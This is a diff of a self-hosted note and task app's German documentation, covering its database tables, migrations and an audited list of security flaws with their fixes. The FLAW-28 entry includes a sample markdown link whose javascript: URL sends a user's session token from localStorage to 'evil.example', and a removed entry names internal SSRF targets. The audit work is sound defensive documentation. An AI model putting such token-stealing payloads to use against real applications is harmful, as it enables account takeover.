| `task_list_shares` | Freigaben von Aufgabenlisten | `target_type` (`team`/`user`), `target_id`, **`permission`** (`editor`/`viewer`, Standard `editor`) |
|
| `task_list_shares` | Freigaben von Aufgabenlisten | `target_type` (`team`/`user`), `target_id`, **`permission`** (`editor`/`viewer`, Standard `editor`) |
|
||||||
|
|
||||||
Eine Aufgabe ist ein `thought` mit `status='kept'` oder `status='converted' AND converted_type='task'`. Aufgaben, die aus einem Notiz-Block entstehen, tragen `converted_type='document_block'` und `converted_ref_id='<docId>:<blockId>'`.
|
Eine Aufgabe ist ein `thought` mit `status='kept'` oder `status='converted' AND converted_type='task'`. Aufgaben, die aus einem Notiz-Block entstehen, tragen `converted_type='document_block'` und `converted_ref_id='<docId>:<blockId>'`.
|
||||||
@@ -27,7 +29,7 @@ Eine Aufgabe ist ein `thought` mit `status='kept'` oder `status='converted' AND
|
|||||||
### Workspace
|
### Workspace
|
||||||
| Tabelle | Zweck |
|
| Tabelle | Zweck |
|
||||||
|---|---|
|
|---|---|
|
||||||
| `documents` | Notizen: `title`, `icon`, `folder_path`, `tags` (JSON), `is_archived`, `markdown_cache`, `shared_folder_id`, `sub_folder_path`, `head_seq` (letzte Log-Position), `title_version`, `log_floor` (bis hierhin ist das Log verdichtet), Altspalten `content`, `blocks_json` |
|
| `documents` | Notizen: `title`, `icon`, `folder_path`, `tags` (JSON), `is_archived` (1 = im Papierkorb), `archived_at`, `archived_by` (wer gelöscht hat), `markdown_cache`, `shared_folder_id`, `sub_folder_path`, `head_seq` (letzte Log-Position), `title_version`, `log_floor` (bis hierhin ist das Log verdichtet), Altspalten `content`, `blocks_json` |
|
||||||
| `blocks` | Outliner-Blöcke als Baum: `document_id`, `parent_id` (`''` = oberste Ebene), `order_key` (Sortierschlüssel unter Geschwistern), `type`, `content`, `checked`, `collapsed`, `lang`, `version` (Textversion), `conflict_of`/`conflict_author` (Konfliktkopien), `updated_by`, `deleted` (Grabstein) und `deleted_at` (Zeitpunkt des Löschens, für das Aufräumen). `level`/`position` sind Altspalten und werden nicht mehr gepflegt; Ebene und Reihenfolge berechnet der Server beim Lesen aus dem Baum. |
|
| `blocks` | Outliner-Blöcke als Baum: `document_id`, `parent_id` (`''` = oberste Ebene), `order_key` (Sortierschlüssel unter Geschwistern), `type`, `content`, `checked`, `collapsed`, `lang`, `version` (Textversion), `conflict_of`/`conflict_author` (Konfliktkopien), `updated_by`, `deleted` (Grabstein) und `deleted_at` (Zeitpunkt des Löschens, für das Aufräumen). `level`/`position` sind Altspalten und werden nicht mehr gepflegt; Ebene und Reihenfolge berechnet der Server beim Lesen aus dem Baum. |
|
||||||
| `doc_ops` | Änderungs-Log je Notiz: `seq` (fortlaufend pro Notiz), `op_id`, `user_id`, `client_id`, `kind`, `block_id`, `payload` (Effekt als JSON), `created_at`. Abspielen aller Einträge ab einem Snapshot ergibt den Stand. Wird verdichtet (siehe unten). |
|
| `doc_ops` | Änderungs-Log je Notiz: `seq` (fortlaufend pro Notiz), `op_id`, `user_id`, `client_id`, `kind`, `block_id`, `payload` (Effekt als JSON), `created_at`. Abspielen aller Einträge ab einem Snapshot ergibt den Stand. Wird verdichtet (siehe unten). |
|
||||||
| `doc_op_results` | Ergebnis je Client-Operation (`op_id` eindeutig) für idempotente Wiederholungen; wird nach 90 Tagen gelöscht |
|
| `doc_op_results` | Ergebnis je Client-Operation (`op_id` eindeutig) für idempotente Wiederholungen; wird nach 90 Tagen gelöscht |
|
||||||
@@ -48,14 +50,14 @@ Blocktypen: `h1`, `h2`, `h3`, `paragraph`, `text`, `todo`, `bullet`, `code`, `ca
|
|||||||
|---|---|
|
|---|---|
|
||||||
| `lists` | Geteilte Listen: `title`, `icon`, `list_type` (`shopping`/`checklist`/`vacation`) |
|
| `lists` | Geteilte Listen: `title`, `icon`, `list_type` (`shopping`/`checklist`/`vacation`) |
|
||||||
| `list_shares` | Freigaben: `target_type`, `target_id`, `role` (`editor`/`viewer`) |
|
| `list_shares` | Freigaben: `target_type`, `target_id`, `role` (`editor`/`viewer`) |
|
||||||
| `list_items` | Einträge: `content`, `category`, `quantity`, `is_completed`, `completed_by(_name)`, `sort_order` |
|
| `list_items` | Einträge: `content`, `category`, `quantity`, `is_completed`, `completed_by(_name)`, `created_by` (leer bei alten Einträgen), `sort_order` |
|
||||||
|
|
||||||
### Gruppen
|
### Gruppen
|
||||||
| Tabelle | Zweck |
|
| Tabelle | Zweck |
|
||||||
|---|---|
|
|---|---|
|
||||||
| `teams` | `name`, `description`, `org_id` (Standard `default`) |
|
| `teams` | Gruppen der Benutzer: `name`, `description`, `org_id` (Organisation des Erstellers) |
|
||||||
| `team_members` | `team_id`, `user_id`, `role` (`admin`/`member`) |
|
| `team_members` | `team_id`, `user_id`, `role` (`admin`/`member`) |
|
||||||
| `organizations` | Rudimentär; wird vom UI nicht mehr benötigt ([FLAW-24](flaws.md)) |
|
| `organizations` | Vom Server-Admin angelegt: `name`. Mitglieder über `users.organization_id` (höchstens eine pro Benutzer) |
|
||||||
|
|
||||||
## Beziehungen
|
## Beziehungen
|
||||||
|
|
||||||
@@ -77,8 +79,8 @@ teams 1─n team_members n─1 users
|
|||||||
- Veraltete Tabellen werden gelöscht: `spaces`, `space_members`, `space_team_shares`, `document_crdt_state`, `document_crdt_updates`, `document_blocks`, `doc_block_tags`.
|
- Veraltete Tabellen werden gelöscht: `spaces`, `space_members`, `space_team_shares`, `document_crdt_state`, `document_crdt_updates`, `document_blocks`, `doc_block_tags`.
|
||||||
- `users.username` wird aus dem E-Mail-Präfix aufgefüllt.
|
- `users.username` wird aus dem E-Mail-Präfix aufgefüllt.
|
||||||
- Notiz-Synchronisation (`migrateDocSync`): neue Spalten an `blocks` (inkl. `deleted_at`; vorhandene Grabsteine erhalten den Migrationszeitpunkt) und `documents` (`head_seq`, `title_version`, `log_floor`), Tabellen `doc_ops` und `doc_op_results`. Blöcke im alten flachen Format (nur `level`/`position`) werden einmalig in den Baum umgewandelt.
|
- Notiz-Synchronisation (`migrateDocSync`): neue Spalten an `blocks` (inkl. `deleted_at`; vorhandene Grabsteine erhalten den Migrationszeitpunkt) und `documents` (`head_seq`, `title_version`, `log_floor`), Tabellen `doc_ops` und `doc_op_results`. Blöcke im alten flachen Format (nur `level`/`position`) werden einmalig in den Baum umgewandelt.
|
||||||
- Standardwerte in `system_settings` (`INSERT OR IGNORE`): `sharing_mode=teams_only`, `allow_registration=false`, `instance_name=MindSift`, SMTP leer.
|
- Standardwerte in `system_settings` (`INSERT OR IGNORE`): `sharing_mode=organizations`, `allow_registration=false`, `instance_name=MindSift`, SMTP leer.
|
||||||
- Die Tabelle `teams` wird einmalig ohne Fremdschlüssel auf `organizations` neu aufgebaut.
|
- **Migrationen:** [migrations.go](../internal/storage/migrations.go) führt nummerierte Schritte genau einmal aus und vermerkt sie in `schema_migrations` (`id`, `name`, `applied_at`); `PRAGMA user_version` zeigt die höchste angewandte Nummer. Schritt 3 („Basis-Schema v0.4.1“, `migrateBaseline`) baut das komplette Schema auf und bringt ältere Datenbanken auf diesen Stand; Spalten werden nur angelegt, wenn sie fehlen. Schlägt ein Schritt fehl, bricht der Start mit der Fehlermeldung ab, statt mit halbem Schema weiterzulaufen. Neue Änderungen kommen als neuer Schritt ans Ende, alte Schritte werden nie verändert. Daten werden beim Start nie gelöscht; nur der Demo-Modus leert die Datenbank.
|
||||||
|
|
||||||
## Sicherung
|
## Sicherung
|
||||||
|
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
# Bekannte Schwachstellen, Risiken & technische Schulden (Flaws)
|
# Schwachstellen, Risiken & Ideen
|
||||||
|
|
||||||
Stand: Code-Review des Branches `dev` (Oktober 2026). Jeder Eintrag wurde gegen den Quellcode geprüft; die Fundstellen sind angegeben. Einträge ohne Live-Test sind als *nicht live verifiziert* markiert.
|
Stand: Review des Branches `dev` nach v0.5 (Oktober 2026). Die frühere Liste (FLAW-01 bis FLAW-27) ist abgearbeitet und entfernt; ihre Geschichte steht in den Commits. Neue Einträge zählen ab FLAW-28 weiter, damit Verweise in Commits eindeutig bleiben. Jeder Eintrag ist gegen den Quellcode geprüft; die Fundstellen sind angegeben.
|
||||||
|
|
||||||
Schweregrade: **Hoch** (Datenabfluss oder Rechteumgehung möglich), **Mittel** (Fehlfunktion oder Schutz greift nicht), **Niedrig** (Wartbarkeit, Komfort, Hygiene).
|
Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel** (Schutz greift nicht oder Fehlfunktion unter realistischen Bedingungen), **Niedrig** (Härtung, Datenschutz, Wartbarkeit).
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -10,190 +10,142 @@ Schweregrade: **Hoch** (Datenabfluss oder Rechteumgehung möglich), **Mittel** (
|
|||||||
|
|
||||||
| ID | Bereich | Kurzbeschreibung | Schwere |
|
| ID | Bereich | Kurzbeschreibung | Schwere |
|
||||||
|---|---|---|---|
|
|---|---|---|---|
|
||||||
| FLAW-01 | Realtime | ~~`BroadcastToAll` sendet Aufgaben- und Listendaten an alle Verbindungen~~ | **Behoben** |
|
| FLAW-28 | Frontend | ~~`javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt~~ | **Behoben** |
|
||||||
| FLAW-02 | Realtime | ~~Räume ohne Berechtigungsprüfung~~ | **Behoben** |
|
| FLAW-29 | Netzwerk | ~~Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`)~~ | **Behoben** |
|
||||||
| FLAW-03 | Aufgaben | ~~`ReorderTasks` ändert beliebige Aufgaben per ID (IDOR)~~ | **Behoben** |
|
| FLAW-30 | Konto | ~~Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern~~ | **Behoben** |
|
||||||
| FLAW-04 | Auth | Fest eincodiertes Fallback-`JWT_SECRET` | **Hoch** |
|
| FLAW-31 | Auth | ~~Sitzungs-Token 30 Tage gültig und im `localStorage`~~ | **Teilweise behoben** |
|
||||||
| FLAW-05 | Benachrichtigungen | Discord-/Webhook-URLs ungeprüft (SSRF) | Mittel |
|
| FLAW-32 | Daten | ~~IDs und Einladungscodes haben nur 40 Bit Zufall~~ | **Behoben** |
|
||||||
| FLAW-06 | Aufgaben | Jeder Editor einer Aufgabenliste kann sie per `teamId` an weitere Gruppen freigeben | Mittel |
|
| FLAW-33 | Demo | ~~Öffentliche Demo als Absender missbrauchbar (Alarm-Webhooks, Testmails, Server-Einstellungen)~~ | **Behoben** |
|
||||||
| FLAW-07 | Auth | API-Key-`scopes` werden nie ausgewertet; ein Key ist ein Vollzugriff | Mittel |
|
| FLAW-34 | Admin | ~~SMTP-Passwort im Klartext an die Oberfläche~~, in DB und Datenbank-Backups | **Teilweise behoben** |
|
||||||
| FLAW-08 | Auth | Webhook-Ingest mit JWT prüft weder Sperrliste noch `token_version` noch `is_active` | Mittel |
|
| FLAW-35 | Netzwerk | ~~Webhook-Ingest nimmt Sitzungs-Token und Keys auch als `?token=`~~ | **Behoben** |
|
||||||
| FLAW-09 | Auth | Kein Rate-Limit, keine Sperre bei Fehlversuchen, Mindestpasswort 4 Zeichen | Mittel |
|
| FLAW-36 | Backend | ~~Kein allgemeines Größenlimit für JSON-Anfragen~~ | **Behoben** |
|
||||||
| FLAW-10 | Freigaben | `sharing_mode` wird bei Freigaben nicht durchgesetzt; Benutzerverzeichnis leakt alle Konten | Mittel |
|
| FLAW-37 | Datenschutz | ~~Konto löschen entfernt die Server-Backups des Kontos nicht~~ | **Behoben** |
|
||||||
| FLAW-11 | Workspace | ~~Block-Upsert (`ON CONFLICT(id)`) prüft das Dokument nicht~~ | **Behoben** |
|
| FLAW-38 | Betrieb | ~~`WriteTimeout` von 30 s bricht große Downloads ab~~ | **Behoben** |
|
||||||
| FLAW-12 | Benachrichtigungen | `notify_before_minutes` wirkungslos; Alarm feuert nach Umplanung nie wieder | Mittel |
|
| FLAW-39 | Auth | ~~Kein Rate-Limit für Registrierung, Einladungscodes und „Passwort vergessen“ je Adresse~~ | **Behoben** |
|
||||||
| FLAW-13 | Datenbank | Keine Schema-Versionierung; Migrationsfehler werden verschluckt; `migrations/001_init.sql` ist toter Code | Mittel |
|
| FLAW-40 | Auth | ~~Einladungscode bei gleichzeitiger Nutzung zweimal einlösbar~~ | **Behoben** |
|
||||||
| FLAW-14 | Backend | Fehler von Schreiboperationen werden häufig ignoriert (`_, _ =`) | Mittel |
|
| FLAW-41 | Qualität | Sehr große Frontend-Dateien | Niedrig |
|
||||||
| FLAW-15 | Realtime | ~~`WriteTimeout` von 30 s beendet SSE-Streams~~ | **Behoben** |
|
|
||||||
| FLAW-16 | Setup | `/auth/setup` ist bis zum ersten Konto offen; Demo-Modus legt `admin/admin` an | Mittel |
|
|
||||||
| FLAW-17 | Workspace | ~~Bearbeiter-Freigaben für Notizen nicht wählbar~~ | **Behoben** |
|
|
||||||
| FLAW-18 | Suche | Nur eigene Gedanken und Dokumente, `LIKE` ohne Escaping, keine FTS | Niedrig |
|
|
||||||
| FLAW-19 | Qualität | Frontend-Tests nur für den Outliner, `lint` ist ein Platzhalter | Niedrig |
|
|
||||||
| FLAW-20 | Qualität | Sehr große Dateien, duplizierte Zugriffslogik | Niedrig |
|
|
||||||
| FLAW-21 | Repo | `LICENSE` fehlt, obwohl README MIT angibt | Niedrig |
|
|
||||||
| FLAW-22 | Netzwerk | Token in der URL (WS/SSE), CORS `*`, `CheckOrigin` immer `true` | Niedrig |
|
|
||||||
| FLAW-23 | SQLite | Single-Writer-Engpass bei vielen gleichzeitigen Schreibern | Niedrig |
|
|
||||||
| FLAW-24 | Gruppen | Organisations-Endpunkte ohne Berechtigungsprüfung | Mittel |
|
|
||||||
| FLAW-25 | Workspace | ~~Struktur-Aktionen an fremd gesperrten Bullets nur teilweise ausgeführt~~ | **Behoben** |
|
|
||||||
| FLAW-26 | Workspace | ~~Nach Enter landet sehr schnell Getipptes noch im vorherigen Bullet~~ | **Behoben** |
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Details
|
## Details
|
||||||
|
|
||||||
### FLAW-01: Broadcast an alle Verbindungen (Datenabfluss)
|
### FLAW-28: `javascript:`-Links in Markdown
|
||||||
- **Status: Behoben.** `BroadcastToAll` existiert nicht mehr. Aufgabenereignisse gehen an Eigentümer und Benutzer der Liste (`GetTaskListUserIDs`), Listenereignisse tragen nur noch die ID, Ordnerereignisse gehen an Benutzer bzw. Ordnerbeteiligte (`GetSharedFolderUserIDs`). Test: `TestTaskEventsOnlyReachAuthorizedUsers`.
|
- **Status: Behoben.** `safeHref` ([lib/safeUrl.ts](../frontend/src/lib/safeUrl.ts)) lässt nur `http:`, `https:` und `mailto:` zu und wird von Markdown-Anzeige, Outliner und Impressums-Links genutzt; sonst erscheint der Link als Text. Tests: `safeUrl.test.tsx`.
|
||||||
- **Fundstellen:** [`internal/ws/hub.go`](../internal/ws/hub.go) `BroadcastToAll`; Aufrufer in [`internal/api/server.go`](../internal/api/server.go): `handleUpdateThought` (`TASK_UPDATED`), `handleDeleteThought` (`TASK_DELETED`), `handleReorderTasks` (`TASK_REORDERED`), `handleUpdateTaskList`, `handleCreateTaskListShare`, `handleDeleteTaskListShare` (`TASK_LIST_UPDATED`), `handleDeleteTaskList`.
|
- **Fundstelle:** `renderInline` in [lib/markdown.tsx](../frontend/src/lib/markdown.tsx): `[Text](URL)` wird ungeprüft zu `<a href={url}>`. Verwendet für Aufgaben-Notizen (`TaskDetailModal`) und Impressum/Datenschutz.
|
||||||
- **Problem:** `BroadcastToAll` schreibt an `allClients` und `sseClients`. Dazu zählen auch Verbindungen mit `userID = "anonymous"`, denn `handleWebSocket` und `handleSSE` liegen außerhalb der Auth-Gruppe und lassen jede Verbindung zu. Der vollständige Aufgabeninhalt (Titel, Notizen, Unteraufgaben) und die Listen samt Mitgliedern gehen so an jeden, der `/api/v1/events` öffnet.
|
- **Problem:** `[Rechnung](javascript:fetch('https://evil.example/?t='+localStorage.mindsift_jwt_token))` in den Notizen einer Aufgabe einer geteilten Aufgabenliste läuft beim Klick im Kontext der App. React 18 warnt nur, blockiert aber nicht. Weil das Sitzungs-Token im `localStorage` liegt (FLAW-31), ist das eine Kontoübernahme durch jeden Bearbeiter der Liste. Bullets im Outliner sind nicht betroffen, dort sind nur `http(s)`-Links erlaubt.
|
||||||
- **Maßnahme:** Ereignisse an die berechtigten Nutzer adressieren (wie bei `DOC_*` über `GetAuthorizedDocUsers`), unauthentifizierte Verbindungen ablehnen.
|
- **Maßnahme:** Nur `http:`, `https:` und `mailto:` als `href` zulassen, alles andere als Text. Zusätzlich CSP (FLAW-29).
|
||||||
|
|
||||||
### FLAW-02: Räume ohne Berechtigungsprüfung
|
### FLAW-29: Keine Sicherheits-Header
|
||||||
- **Status: Behoben.** `/ws` und `/events` verlangen ein gültiges Token (sonst `401`). Jeder Raumbeitritt läuft über `Hub.SetRoomAuthorizer` → `Server.canJoinRoom` (Notiz bzw. Liste muss lesbar sein). `/events/rooms` liegt hinter der Anmeldung und akzeptiert nur die eigene `sseId`. Tests: `TestRealtimeEndpointsRequireAuth`, `TestSSERoomJoinRequiresAccess`, `TestRoomJoinsRequireAuthorization`.
|
- **Status: Behoben.** [headers.go](../internal/api/headers.go) setzt CSP (`script-src 'self'`, `frame-ancestors 'none'`, `object-src 'none'`, Verbindungen nur zum eigenen Server), `X-Frame-Options: DENY`, `nosniff`, `Referrer-Policy: same-origin`, `Permissions-Policy`. Die beiden Inline-Scripts der Startseite sind in Dateien gewandert; Styles bleiben inline erlaubt (eigene Themes). Mit Chromium und WebKit durch alle Ansichten geprüft: keine CSP-Meldungen.
|
||||||
- **Fundstellen:** `Hub.readPump` (`JOIN_ROOM`), `handleSSERooms` (Route `/api/v1/events/rooms` liegt **außerhalb** der Auth-Gruppe), `Hub.Register` (Raum aus `?listId=`/`?spaceId=`).
|
- **Fundstelle:** Router in [server.go](../internal/api/server.go), Auslieferung in [cmd/server/main.go](../cmd/server/main.go).
|
||||||
- **Problem:** Wer eine Raum-ID kennt (`doc:<id>`, Listen-ID), tritt bei und erhält Inhalte wie `DOC_BLOCKS_PATCHED` oder `ITEM_*`. Raum-IDs tauchen in Ereignissen auf und sind nicht geheim. Für den SSE-Beitritt reicht die `sseId`, die der Server selbst im Stream mitsendet.
|
- **Problem:** Es gibt weder `Content-Security-Policy` noch `X-Frame-Options`/`frame-ancestors`, `X-Content-Type-Options: nosniff` oder `Referrer-Policy`. Fremde Seiten können MindSift in einen Frame laden (Clickjacking), und eingeschleustes Script (FLAW-28) wird nicht gebremst.
|
||||||
- **Maßnahme:** Beitritt nur nach Zugriffsprüfung (`GetDocumentByID`, `GetListByID`); `/events/rooms` hinter `authMiddleware`.
|
- **Maßnahme:** Header-Middleware: `frame-ancestors 'none'`, `nosniff`, `Referrer-Policy: same-origin`, CSP mit `script-src 'self'` (Inline-Splash-Script per Hash erlauben) und `connect-src 'self'`.
|
||||||
|
|
||||||
### FLAW-03: `ReorderTasks` ohne Zugriffsprüfung (IDOR)
|
### FLAW-30: Passwort und E-Mail ohne aktuelles Passwort änderbar
|
||||||
- **Status: Behoben.** `handleReorderTasks` lehnt die ganze Anfrage ab, sobald eine Aufgabe nicht zugreifbar (`404`) oder schreibgeschützt (`403`) ist. Test: `TestReorderRejectsForeignTasks`.
|
- **Fundstelle:** `handleUpdateUserSettings` in [handlers_auth.go](../internal/api/handlers_auth.go) (`PATCH /auth/settings` mit `password` bzw. `email`).
|
||||||
- **Fundstelle:** `Store.ReorderTasks` (`UPDATE thoughts SET sort_order … WHERE id = ?`) und `handleReorderTasks`.
|
- **Problem:** Wer eine Sitzung in die Hände bekommt (offener Rechner, gestohlenes Token), setzt ein neues Passwort oder eine neue E-Mail-Adresse und sperrt den Besitzer dauerhaft aus; über die neue Adresse funktioniert dann auch „Passwort vergessen“ für den Angreifer. Konto löschen und Daten löschen verlangen das Passwort bereits (`confirmPassword`).
|
||||||
- **Problem:** Die SQL-Anweisung ist weder auf `user_id` noch auf die Liste eingeschränkt. Jeder angemeldete Nutzer kann `sortOrder`, `kanbanStatus` und damit `isCompleted` fremder Aufgaben ändern, sofern er die ID kennt. Die Leser-Prüfung für Aufgabenlisten überspringt Aufgaben, auf die der Nutzer gar keinen Zugriff hat (`GetThoughtByID` liefert dann einen Fehler), und schützt davor nicht.
|
- **Maßnahme:** Für Passwort- und E-Mail-Änderung `currentPassword` verlangen (gleiche Prüfung wie `confirmPassword`), Hinweis-Mail an die alte Adresse.
|
||||||
- **Maßnahme:** Jede ID gegen `accessibleTaskListIDsQuery` bzw. `user_id` prüfen und bei Verstoß ablehnen.
|
- **Status: Behoben.** `PATCH /auth/settings` verlangt für `password` und `email` das aktuelle Passwort (`checkCurrentPassword`); falsche Eingaben zählen für die Login-Sperre, leere nicht. Ein neues Passwort meldet alle anderen Geräte ab. Mit SMTP geht eine Hinweismail an die bisherige Adresse. Im Profil erscheint das Feld „Aktuelles Passwort“, sobald Passwort oder E-Mail geändert werden. Tests: `TestPasswordChangeNeedsCurrentPassword`.
|
||||||
|
|
||||||
### FLAW-04: Fallback-JWT-Secret
|
### FLAW-31: Langlebige Sitzung im `localStorage`
|
||||||
- **Fundstelle:** [`internal/config/config.go`](../internal/config/config.go): `getEnv("JWT_SECRET", "mindsift-default-selfhosted-jwt-secret-key-2026")`; `docker-compose.yml` und `.env.example` liefern ebenfalls einen Platzhalter.
|
- **Fundstelle:** `GenerateToken` (30 Tage) in [auth.go](../internal/auth/auth.go), `setToken` in [lib/api.ts](../frontend/src/lib/api.ts).
|
||||||
- **Problem:** Wer `JWT_SECRET` nicht setzt (oder den Platzhalter behält), läuft mit einem öffentlich bekannten Schlüssel. Damit lassen sich gültige Tokens für jede Benutzer-ID fälschen. `install.sh` erzeugt zwar ein Secret, andere Installationswege nicht.
|
- **Problem:** Jedes Script im Kontext der App kann das Token lesen (vgl. FLAW-28); ein gestohlenes Token gilt bis zu 30 Tage. Es gibt keine Übersicht der Sitzungen, nur „Alle Sitzungen beenden“.
|
||||||
- **Maßnahme:** Start verweigern oder Secret beim ersten Start erzeugen und in `/data` ablegen.
|
- **Maßnahme:** Kurzlebiges Zugriffs-Token mit Erneuerung, Sitzungsliste mit Gerät/Zeit und Einzel-Abmelden; mittelfristig HttpOnly-Cookie mit CSRF-Schutz.
|
||||||
|
- **Status: Teilweise behoben.** Serverseitige Sitzungen (`sessions`, [sessions.go](../internal/api/sessions.go)): Jedes Token gehört zu einer Sitzung, die einzeln beendet werden kann und nach 30 Tagen ohne Nutzung endet; das Token wird täglich über `X-Session-Token` erneuert. Profil → „Aktive Sitzungen“ zeigt Gerät, IP und letzte Nutzung mit Einzel-Abmelden. Ein gestohlenes Token lässt sich damit gezielt entwerten. Das Token liegt weiter im `localStorage`; HttpOnly-Cookies sind bewusst zurückgestellt (CSP aus FLAW-29 und FLAW-28 schließen den bekannten Weg). Tests: `TestSessionsListEndAndLogout`, `TestSessionTokenRenewedWhenOld`.
|
||||||
|
|
||||||
### FLAW-05: SSRF über Alarm-URLs
|
### FLAW-32: Nur 40 Bit Zufall in IDs
|
||||||
- **Fundstellen:** `handleUpdateUserSettings` (keine Validierung), `sendDiscordNotification`, `sendCustomWebhookNotification`.
|
- **Fundstelle:** `NewID` in [domain/models.go](../internal/domain/models.go) (5 Zufallsbytes); Einladungscodes `INV-…` in `CreateUserInvite` ([users.go](../internal/storage/users.go)) leiten sich davon ab.
|
||||||
- **Problem:** Jeder Nutzer kann beliebige URLs hinterlegen. Der Server sendet POST-Anfragen dorthin, auch an interne Adressen (`http://169.254.169.254`, Docker-Netz, `localhost`). Über `handleTestUserAlarm` lässt sich das sofort auslösen.
|
- **Problem:** Bei 40 Bit liegt die Wahrscheinlichkeit einer Kollision ab etwa einer Million Datensätze einer Tabelle bei rund 40 % (Geburtstagsproblem); eine Kollision lässt das Anlegen fehlschlagen oder überschreibt bei Upserts. Einladungscodes sind ohne Rate-Limit (FLAW-39) online rate-, aber nicht praktisch erratbar; 40 Bit sind für ein Geheimnis trotzdem zu wenig.
|
||||||
- **Maßnahme:** Nur `https`, Discord-Host prüfen, private/Loopback-Adressen beim Verbinden sperren.
|
- **Maßnahme:** `NewID` auf 12 Bytes (96 Bit) anheben (Spalten sind `TEXT`, alte IDs bleiben gültig); Einladungscodes mit eigenen 16 Zufallsbytes.
|
||||||
|
- **Status: Behoben.** `NewID` nutzt 12 Zufallsbytes, alte IDs bleiben gültig. Einladungscodes haben eigene 100 Bit in Base32 (`INV-ABCDE-FGHIJ-KLMNO-PQRST`, `newInviteCode`); bereits ausgegebene Codes funktionieren weiter.
|
||||||
|
|
||||||
### FLAW-06: Editor kann Aufgabenliste weiterteilen
|
### FLAW-33: Öffentliche Demo als Absender missbrauchbar
|
||||||
- **Fundstelle:** `Store.UpdateTaskList` (`teamID`-Zweig ruft `AddTaskListShare`); `handleUpdateTaskList` prüft nur, dass der Nutzer **kein** Leser ist.
|
- **Fundstelle:** Admin-Routen in [server.go](../internal/api/server.go); Demo-Konto `admin/admin` ([users.go](../internal/storage/users.go)).
|
||||||
- **Problem:** `POST /task-lists/{id}/shares` ist Eigentümern vorbehalten. Über `PUT /task-lists/{id}` mit `teamId` kann aber jeder Editor die Liste einer weiteren Gruppe zuweisen (mit Schreibrecht) und die Zuweisung der bisherigen Gruppe aufheben.
|
- **Problem:** Auf einer öffentlichen Demo meldet sich jeder als Admin an. Er kann „Alarm-Webhooks ins lokale Netz erlauben“ einschalten und Alarme an Adressen im Netz des Demo-Hosts schicken lassen (SSRF), SMTP-Zugangsdaten lesen und ändern, Organisationen und Konten umbauen. Der 20-Minuten-Reset setzt das zurück, aber nicht rechtzeitig.
|
||||||
- **Maßnahme:** `teamId`-Änderungen nur für den Eigentümer; das Legacy-Feld `task_lists.team_id` zugunsten von `task_list_shares` abschaffen.
|
- **Ausgehende Anfragen:** Auch ohne Admin-Rechte kann jeder Demo-Besucher eine Discord- oder eigene Webhook-URL hinterlegen und über „Alarm testen“ beliebig oft Anfragen an fremde öffentliche Adressen schicken lassen; Fälligkeits-Alarme tun dasselbe zeitgesteuert. Die Demo wird so zum Absender für Spam (z. B. in fremde Discord-Kanäle) oder für Anfragen an Dritte, und zwar von der IP-Adresse des Demo-Servers. Ist in der Demo SMTP eingerichtet, gilt das ebenso für Mails an beliebige Adressen.
|
||||||
|
- **Maßnahme:** Im Demo-Modus alle ausgehenden Kanäle aus: keine Alarm-Webhooks, kein Discord, keine Alarm- und Testmails, „Alarm testen“ und der SMTP-Test antworten mit einem Hinweis; die Oberfläche zeigt „In der Demo deaktiviert“. Server-Einstellungen (SMTP, Webhook-Freigabe, Backups) schreibgeschützt. Eingehende Webhooks (API-Keys) bleiben erlaubt, sie schreiben nur in die Demo-Datenbank.
|
||||||
|
- **Status: Behoben.** Im Demo-Modus verweigern die Sender für Mail, Discord und Webhooks (`errDemoOutgoing`), der Alarm-Ticker läuft nicht. `notInDemo` ([demo.go](../internal/api/demo.go)) beantwortet mit `403` „In der Demo deaktiviert“: Test-Alarm, SMTP-Test, Server-Einstellungen speichern, Backup starten, Konten anlegen/ändern/löschen, Passwort-Reset durch Admins, „Alle Sitzungen beenden“, einzelne Geräte abmelden, eigenes Konto löschen; Passwort und E-Mail sind im Profil gesperrt. Weil sich alle Besucher die Demo-Konten teilen, zeigt die Sitzungsliste nur das eigene Gerät. Die Oberfläche zeigt die Hinweise und deaktiviert die Schalter. Test: `TestDemoSendsNothingAndKeepsAccounts`.
|
||||||
|
|
||||||
### FLAW-07: API-Key-Scopes ohne Wirkung
|
### FLAW-34: SMTP-Passwort im Klartext
|
||||||
- **Fundstellen:** Tabelle `api_keys.scopes` (Standard `ingest,read`), `authMiddleware`.
|
- **Fundstelle:** `handleAdminGetSettings` ([handlers_admin.go](../internal/api/handlers_admin.go)) liefert `smtpPass` aus; Speicherung in `system_settings`.
|
||||||
- **Problem:** Ein Key mit Präfix `mindsift_sec_` authentifiziert als der Benutzer, mit allen Rechten: alle `/api/v1`-Routen, bei Admins auch `/admin/*`, außerdem das Anlegen weiterer Keys. Für Webhooks (nur Aufgaben anlegen) ist das überdimensioniert.
|
- **Problem:** Das Passwort erscheint in der Admin-Oberfläche, im Browser-Cache der Antwort (Offline-Lese-Cache) und in jedem Datenbank-Backup.
|
||||||
- **Maßnahme:** Scopes auswerten; Keys standardmäßig nur auf `/inbox` und `/webhooks/ingest` beschränken.
|
- **Maßnahme:** Nie zurückliefern (nur „gesetzt“ anzeigen, leer = unverändert); optional per `SMTP_PASS`-Umgebungsvariable statt Datenbank.
|
||||||
|
- **Status: Teilweise behoben.** `GET`/`PUT /admin/settings` liefern `smtpPass` immer leer und `smtpPassSet`; ein leeres Feld behält das gespeicherte Passwort, ohne SMTP-Benutzer wird es entfernt. In der Datenbank und ihren Abzügen steht es weiter im Klartext (der Server braucht es zum Anmelden); wer das nicht will, setzt `SMTP_HOST`/`SMTP_PASS` per Umgebung und lässt die Felder im Admin-UI leer. Test: `TestSMTPPasswordNeverReturned`.
|
||||||
|
|
||||||
### FLAW-08: Webhook-Ingest umgeht Sitzungsprüfung
|
### FLAW-35: `?token=` beim Webhook-Ingest
|
||||||
- **Fundstelle:** `handleWebhookIngest`, JWT-Zweig.
|
- **Fundstelle:** `handleWebhookIngest` in [handlers_integrations.go](../internal/api/handlers_integrations.go).
|
||||||
- **Problem:** Das Token wird nur kryptografisch validiert. `IsTokenRevoked`, `token_version` und `is_active` werden nicht geprüft; ein ausgeloggtes oder deaktiviertes Konto kann weiter Aufgaben anlegen (bis Token-Ablauf nach 30 Tagen).
|
